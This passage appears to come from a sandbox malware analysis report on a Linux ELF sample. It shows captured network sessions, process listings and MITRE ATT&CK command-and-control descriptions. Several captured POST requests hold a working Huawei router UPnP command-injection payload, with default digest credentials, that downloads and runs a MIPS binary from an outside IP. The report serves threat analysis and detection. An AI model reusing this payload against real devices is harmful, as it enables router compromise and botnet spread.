?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	60630	41.206.186.43	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.339780092 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	49320	41.54.199.196	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.339849949 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	54240	41.92.111.44	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:56.339867115 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: x86.elf PID: 6220, Parent PID: 6140

General

Start time (UTC):	22:01:44
Start date (UTC):	03/12/2024
Path:	/tmp/x86.elf
Arguments:	/tmp/x86.elf
File size:	63568 bytes
MD5 hash:	6270c32abec4811eac225d85d0970fac

Start time (UTC):	22:01:44
Start date (UTC):	03/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	63568 bytes
MD5 hash:	6270c32abec4811eac225d85d0970fac

Start time (UTC):	22:01:44
Start date (UTC):	03/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	63568 bytes
MD5 hash:	6270c32abec4811eac225d85d0970fac

Start time (UTC):	22:01:44
Start date (UTC):	03/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	63568 bytes
MD5 hash:	6270c32abec4811eac225d85d0970fac

Analysis Process: x86.elf PID: 6224, Parent PID: 6221

General

Start time (UTC):	22:01:44
Start date (UTC):	03/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	63568 bytes
MD5 hash:	6270c32abec4811eac225d85d0970fac

Analysis Process: x86.elf PID: 6226, Parent PID: 6221

General

Start time (UTC):	22:01:44
Start date (UTC):	03/12/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	63568 bytes
MD5 hash:	6270c32abec4811eac225d85d0970fac

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: x86.elf PID: 6220, Parent PID: 6140

General

Chronological Activities

Analysis Process: x86.elf PID: 6221, Parent PID: 6220

General

Chronological Activities

Analysis Process: x86.elf PID: 6222, Parent PID: 6221

General

Chronological Activities

Analysis Process: x86.elf PID: 6223, Parent PID: 6221

General

Analysis Process: x86.elf PID: 6224, Parent PID: 6221

General

Analysis Process: x86.elf PID: 6226, Parent PID: 6221

Linux Analysis Report
x86.elf